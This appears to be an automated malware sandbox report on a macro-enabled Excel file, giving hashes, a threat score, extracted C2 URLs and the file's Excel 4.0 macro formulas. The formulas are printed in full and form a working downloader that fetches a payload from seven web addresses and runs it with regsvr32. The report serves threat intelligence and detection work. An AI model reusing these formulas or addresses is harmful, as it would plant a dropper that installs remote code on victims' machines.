General

  • Target

    f2223b7534d284126d4d65020d68a461d8b6574be12695a9e767f566d67301ef

  • Size

    50KB

  • MD5

    611407dcaa57d04ec45453e06fbc4a51

  • SHA1

    645766461e57479ca19a1665b47d9755c6934907

  • SHA256

    f2223b7534d284126d4d65020d68a461d8b6574be12695a9e767f566d67301ef

  • SHA512

    682968c4139b2e084b74674c3e52cac1120df6a95181bbe149ac0f43d8057e804c7eb5c86ae5d5694891cfca6803aa8bb5884bc6fbdaf4ac6bef0f6f2542753c

  • SSDEEP

    768:2x9D9onkH+lSQHAamYDSmPq9A3Bj9DLC+9uSEcmQThnuG3KA0Zl:2XD9oencDSmSIBlGeuSEcm2h0BZl

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://actividades.laforetlanguages.com/wp-admin/WQNAwrWi77MV8a05fia/

http://consejosdeorlando.com/wp-includes/mMaIlj99Y1C1sYN/

http://aopda.org/wp-content/uploads/KXc3Agu18w/

http://agenciaml.com.br/wp-content/lMGfW5Wk09k/

http://advogadogoiania.com.br/wp-includes/VTz0V6D/

http://101.53.142.76/ApcCache/FiXQvn/

https://www.agenciaigual.com.br/Novo2017/yTZMu9FxcyHYFUkb/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://actividades.laforetlanguages.com/wp-admin/WQNAwrWi77MV8a05fia/","..\en.ocx",0,0) =IF('DEFGW'!G9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://consejosdeorlando.com/wp-includes/mMaIlj99Y1C1sYN/","..\en.ocx",0,0)) =IF('DEFGW'!G11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://aopda.org/wp-content/uploads/KXc3Agu18w/","..\en.ocx",0,0)) =IF('DEFGW'!G13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://agenciaml.com.br/wp-content/lMGfW5Wk09k/","..\en.ocx",0,0)) =IF('DEFGW'!G15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://advogadogoiania.com.br/wp-includes/VTz0V6D/","..\en.ocx",0,0)) =IF('DEFGW'!G17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://101.53.142.76/ApcCache/FiXQvn/","..\en.ocx",0,0)) =IF('DEFGW'!G19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.agenciaigual.com.br/Novo2017/yTZMu9FxcyHYFUkb/","..\en.ocx",0,0)) =IF('DEFGW'!G21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\en.ocx") =RETURN()

Signatures

  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

Files

  • f2223b7534d284126d4d65020d68a461d8b6574be12695a9e767f566d67301ef
    .xlsm office2007